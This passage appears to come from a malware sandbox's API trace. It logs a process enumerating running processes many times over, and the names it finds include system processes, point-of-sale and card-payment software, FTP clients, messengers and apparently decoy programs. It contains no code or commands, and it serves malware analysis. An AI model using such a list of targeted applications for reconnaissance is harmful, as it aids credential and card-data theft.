th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0105.534] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0105.541] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0105.544] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0105.546] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0105.549] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0105.552] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0105.554] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0105.557] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0105.559] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0105.562] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0105.564] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0105.567] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0105.569] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0105.571] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0105.574] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0105.576] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0105.578] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0105.581] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0105.588] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0105.591] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0105.593] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0105.595] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0105.598] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0105.600] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0105.602] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0105.605] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0105.607] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0105.608] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0105.610] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0105.611] CloseHandle (hObject=0x16e0) returned 1 [0105.612] Sleep (dwMilliseconds=0x64) [0105.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16dc [0105.751] Process32First (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.754] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0105.756] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0105.758] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.760] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0105.762] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.764] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0105.766] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0105.768] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0105.771] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.773] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.775] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0105.777] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.779] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.780] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.782] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.784] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.885] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.888] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.890] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0105.892] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0105.895] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.897] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0105.899] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.901] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0105.903] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0105.905] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0105.908] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0105.910] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.912] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0105.915] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0105.917] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0105.919] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0105.921] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0105.923] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0106.003] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0106.006] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0106.008] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0106.010] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0106.012] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0106.014] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0106.016] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0106.019] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0106.021] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0106.023] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0106.025] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0106.027] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0106.029] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0106.031] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0106.033] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0106.060] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0106.062] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0106.065] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0106.073] Process32Next (in: hSnapshot=0x16dc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better 